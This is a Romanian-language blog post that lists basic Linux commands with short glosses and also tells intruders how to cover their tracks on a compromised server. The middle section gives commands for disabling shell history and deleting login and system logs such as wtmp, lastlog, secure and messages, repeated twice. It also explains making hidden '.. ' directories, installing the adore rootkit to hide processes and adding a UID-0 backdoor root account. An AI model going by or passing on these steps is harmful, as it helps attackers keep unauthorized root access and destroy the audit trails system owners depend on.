Code: comanda --help | ||
File/Directory Basics
ls - listeaza file
cp - copie file
mv - redenumeste file
rm - sterge file
ln - link file
cd - schimba directoriu
pwd - vizualizeaza directoriul curent
mkdir - creaza fisier
rmdir - sterge fisier
File Viewing
cat - vizualizeaza file
less - listeaza printre fileuri
head - vizualizeaza headerul unui file
tail - vizualizeaza footerul unui file
nl - vizualizeaza numarul de linii
od - vizualizeaza datele binare
xxd - vizualizeaza datele binare
gv - vizualizeaza file Postscript/PDF
xdvi - vizualizeaza file TeX DVI
File Creation and Editing
emacs - Text editor
vim - Text editor
umask - Set default file protections
soffice - editeaza documente Word/Excel/PowerPoint
abiword - editeaza documente Word
gnumeric - editeaza documente Excell
File Properties
stat - vizualizeaza atributivele de file
wc - numara biti/cuvinte/linii
du - masoara utilizarea HDD
file - identifica tipul unui file
touch - schimba file timestamps
chown - schimba proprietarul unui file
chgrp - schimba grupul unui file
chmod - schimba drepturile de acces
chattr - schimba drepturile de acces
lsattr - vizualizeaza drepturile de acces
File Location
find - cauta file
slocate - cauta file prin index
which - cauta comanda
whereis - cauta fileurile standart
File Text Manipulation
grep - cauta linii identice intr-un file
cut - extrage text
paste - introduce text
tr - transleaza caractere
sort - sorteaza liniile
uniq - cauta liniile identice
tee - Copy stdin to a file and to stdout simultaneously
File Compression
gzip - arhiveaza file (GNU Zip)
compress - arhiveaza file (Unix)
bzip2 - arhiveaza file (BZip2)
zip - arhiveaza file (Windows Zip)
File Comparison
diff - compara 2 fileuri linie cu linie
comm - compara fileurile sortate
cmp - compara 2 fileuri bit cu bit
md5sum - calculeaza checksums
Disks and Filesystems
df - vizualizeaza spatiul liber HDD
mount - face un disk accesibil
fsck - scaneaza un disk pentru erori
sync - flush disk caches
Backups and Remote Storage
mt - controleaza un tape drive
dump - backup disk
restore - restore backup
tar - citeste/scrie arhive tape
cdrecord - inscrie un CD
rsync - mirror a set of files
Bun pana aici sper ca am fost destul de explicit (sper), daca undeva am facut vreo greseala va rog frumos sa ma corectati.
Am sa mai postez cateva comenzi elementare care va ajuta sa nu lasati urme cand intrati pe un anumit sistem de operare Linux bine aici ma intorc si fac o paranteza spunand ca daca adminu este destept si stie linux bine va cam frigeti :uimit: nu prea aveti cum sa va ascundeti. Sa trecem la treaba , (aceste comenzi sunt pentru a va proteja pe voi insiva,)
unset HISTFILE HISTSAVE
history -n
unset WATCH
export HISTFILE=/dev/null ( nu va recomand sa o dati comanda asta daca sunteti incepatori)
rm -rf .bash_history
rm -rf /var/run/utmp
rm -rf /var/run/wtmp -
rm -rf /var/log/lastlog
rm -rf /usr/adm/lastlog
rm -rf .bash_history
cd /var/log/
rm -rf wtmp
rm -rf secure
rm -rf lastlog
rm -rf messages
touch messagess
touch wtmp
touch secure
touch lastlog
cd /root
rm -rf .bash_history
touch .bash_history
*Cum vom face un director ascuns? De regula la comanda "ls" sunt afisate directoare si fisiere normale, cele care au un "." (punct) sau ".." (doua puncte), nu sunt afisate. Cu ajutorul comenzii "mkdir" puteti crea orice director (ex. mkdir ".. " - am creat directorul " doua puncte si un spatiu deoarece directorul ".." (fara spatiu) exista in toate radacinile).
Exemplu
cd /usr/local/exemplu
mkdir ".. "
In sfarsit cu ajutoru acestor doua comenzi am facut un director ascuns care nu va fi prea usor de gasit daca se va tine cont de a lucra in server cu capul nu cu ura si lacomie. In directorul nou creat puteti aduce arhive si sa le ascundeti cu adore
si nimeni nu le va gasi (Probabilitate 98 - 99 %). Acum ce este adore si cum instalam adore? Avem doua intrebari care pentru unii nu mai reprezinta o problema dar pentru altii sunt folositoare. Asadar adore este un program care te ascunde in server sau ascunde procesele care nu vrei sa fie vazute de catre administrator. Acest program este usor de instalat si nu trebuie decat sa faceti urmatorii pasi: consideram ca suntem tot in directorul:
/usr/local/exemple/".. "/
aduceti arhiva adore.tgz,o dezarhivati si urmati comenzile
cd adore
./configure
make
./startadore
oldps axw sau socklist
./awa i
si asa ati ascuns procesul unui program lansat de voi!
*Iar daca vreti sa inchideti un port care nu il puteti securiza? Nimic mai simplu, lansati comenda de mai jos in care scrieti in locul cerut numarul portului.
/sbin/ipchains -A input --destination-port
*Cum facem un user cu drepturi de root?
/usr/sbin/adduser -g 0 -u 0
passwd
Acum dupa ce va terminati treaba pe root, trebuie sa va stergeti si urmele pentru a nu vedea adminu, si trebuie sterse urmatoarele fisiere:
rm -rf .bash_history
rm -rf /var/run/utmp
rm -rf /var/run/wtmp -
rm -rf /var/log/lastlog
rm -rf /usr/adm/lastlog
rm -rf .bash_history
cd /var/log/
rm -rf wtmp
rm -rf secure
rm -rf lastlog
rm -rf messages
touch messagess
touch wtmp
touch secure
touch lastlog
cd /root
rm -rf .bash_history
touch .bash_history
Comenzi utile linux
Cateva comenzi ce servesc la afisarea informatiei despre hardware...
lspci
Vizualizeaza informatii despre motherboard si sloturile pci.
lsdev
Vizualizeaza informatii despre DMA, IRQ, IO ports.
cat /proc/cpuinfo
Informatii despre procesul (cpu info) - vizualizeaza continutul file`ului cpuinfo. Atentie! Toate file`urile din catalogul /proc nu sunt adevarate ci doar o farma confortabila de acces la informatia de sistema.
cat /proc/interrupts
Lista intreruperilor folosite ulterior. Se poate folosi inaintea instalarii componentelor hardware noi.
smartctl -a /dev/hda; hdparm -i /dev/hda
Vizualizeaza informatii despre HDD (in loc de /dev/hda poate fi /dev/hdb, /dev/hdc etc.)
[SIZE="3"]Cu urmatoarele comenzi este posibil de aflat informatii despre sistemul de operare Linux instalat pe pc.[/SIZE]
xdpyinfo
Cu aceasta comanda ve`ti afla informatii despre sistemul de ferestre si anume: versiunea, release X, modulele incarcate si extensiile acestora, date despre ecranul dvs si alte informatii...
xvinfo
Vizualizeaza informatii despre driver`ul placii video, parametrele acesteia cu configurarile de la moment.
uname -a
Vizualizeaza informatii despre sistem ca: versiunea kernel, numele sistemului de retea, tipul procesorului, tipul platformei si sistemului de operare.
cat /etc/issue
Arata ce distributiv Linux folositi
uptime
Vizualizeaza timpul trecut de la ultima lansare a sistemului
echo "GMT = `date +%s` seconds since 1970" vizualizeaza timpul trecut de la lansarea linux =)))
fdisk -l
Vizualizeaza informatii despre HDD si participii (partitions)
service --status-all
Este pentru controlarea serviciilor lansate la moment.
chkconfig --list | more
Aceasta comanda este pentru a vizualiza lista serviciilor (lansate / oprite) la toate nivele de executare
last
Vizualizeaza lista userilor logati in sistem in ultimul timp. Astfel, poti afla cine ti`a privit filmele tale murdare in timp ce nu ai fost acasa =)))
sar
Vizualizarea informatiei despre activitatea sistemului de operare aflat in /var/log/sarxx unde xx este numarul zilei. Deasemnea poate da informatii despre lucrul procesorului, statistica traficului de retea pentru ziua curenta.
free
Vizualizeaza informatii despre memoria pc`ului si memoria swap.
vmstat
Prezinta date despre utilizarea memoriei, procesorului si swap..
Procese si informatii despre acestea...
ps
Vizualizeaza toate procesele active la moment fara vreun parametru
top
Indica procesele lansate si pe acelea care folosesc cel mai mult timp procesat
[SIZE="3"]Lucrul cu file`urile pe linux...[/SIZE]
df -h
Vizualizeaza memoria ocupata de pe HDD`ul dvs
du -sh; du -sh /home/username
Vizualizeaza memoria ocupata de pe directoriul indicat dvs
find . -maxdepth 1 -type d -print | xargs du -sh | sort -rn
Arata marimea tuturor directoriilor dintr`un catalog dat
find . -maxdepth 1 -type d -exec du -sk {} \; | sort -rn
Fix aceeasi doar ca mai repede si mai simplu
egrep -v "^#|^[:blank:]*$" file
Vizualizarea file`ului fara comentarii si rinduri goale. Este util pentru observarea confguratiilor.
egrep -v "^#|^$" file
Acelasi lucru doar ca mai simplu....
Schimbarea drepturilor de citire
find . -type f -exec chmod 644 {} \; find /home/username/test -type f -exec chmod 644 {} \;
Cu aceasta comanda putem schimba drepturile la file
find . -type d -exec chmod 755 {} \; find /home/username/test -type d -exec chmod 755 {} \;
Iar cu aceasta putem schimba drepturile de citire la fisier
Niciun comentariu:
Trimiteți un comentariu